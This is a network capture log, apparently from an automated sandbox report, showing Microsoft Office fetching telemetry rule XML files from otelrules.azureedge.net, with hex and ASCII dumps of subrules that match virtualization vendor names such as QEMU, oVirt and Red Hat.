2024-12-07 07:43:49 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
62	192.168.2.5	49794	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:49 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:50 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:49 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 1f654f05-501e-008f-5009-489054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074349Z-r1cf579d778lntp7hC1EWR9gg40000000140000000003uev x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-07 07:43:50 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
63	192.168.2.5	49797	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:51 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:51 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: 90a1454b-001e-0079-3203-4812e8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074351Z-r1cf579d7786c2tshC1EWRr1gc00000001eg0000000010r1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:51 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
64	192.168.2.5	49799	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:51 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:51 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: 8a885dcd-801e-0078-280b-48bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074351Z-r1cf579d778mvsklhC1EWRkavg00000001x0000000004eah x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:51 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
65	192.168.2.5	49798	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:51 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:51 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: e27c4e9c-301e-0099-680b-486683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074351Z-r1cf579d778t6txphC1EWRsd44000000027g000000002f1s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:51 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
66	192.168.2.5	49800	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:51 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:51 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:51 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: 337dc70d-a01e-0053-5e05-488603000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074351Z-r1cf579d7784wpmvhC1EWRk4cn000000018g0000000017wx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:51 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
67	192.168.2.5	49801	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:51 UTC	192	OUT	GET /rules/rule120664v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:52 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:51 GMT Content-Type: text/xml Content-Length: 502 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB6A0D312" x-ms-request-id: 32d588ee-b01e-003e-0206-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074351Z-r1cf579d7789trgthC1EWRkkfc00000002bg0000000047h1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:52 UTC	502	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120664" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
68	192.168.2.5	49802	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:53 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:53 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 09205d62-a01e-0021-3a05-48814c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074353Z-r1cf579d778zvkpnhC1EWRv23g00000001y0000000003dg0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:53 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
69	192.168.2.5	49804	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:53 UTC	192	OUT	GET /rules/rule120667v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:53 UTC	491	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:53 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BB9B6040B" x-ms-request-id: a215b4dd-e01e-0071-4e03-4808e7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074353Z-r1cf579d778x776bhC1EWRdk8000000001q0000000003hmm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-07 07:43:53 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 51 71 5d 5b 45 65 5d 5b 4d 6d 5d 5b 55 75 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120667" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <SR T="2" R="^([Qq][Ee][Mm][Uu])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
70	192.168.2.5	49805	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:53 UTC	192	OUT	GET /rules/rule120668v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:53 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3CAEBB8" x-ms-request-id: 1f17df4b-601e-0050-2d03-482c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074353Z-r1cf579d7788pwqzhC1EWRrpd8000000024000000000064m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:53 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120668" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
71	192.168.2.5	49803	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:53 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:53 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:53 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 9160dc9b-d01e-00ad-5f02-48e942000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074353Z-r1cf579d778bb9vvhC1EWRs95400000001800000000046uw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:53 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
72	192.168.2.5	49806	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:53 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 07:43:54 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 07:43:54 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB5284CCE" x-ms-request-id: 4c7743ed-001e-0082-4b03-485880000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T074354Z-r1cf579d778dndrdhC1EWR4b2400000001c0000000002xf0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 07:43:54 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 52 72 5d 5b 45 65 5d 5b 44 64 5d 20 5b 48 68 5d 5b 41 61 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120669" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120667" /> <SR T="2" R="([Rr][Ee][Dd] [Hh][Aa][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
73	192.168.2.5	49807	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 07:43:55 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
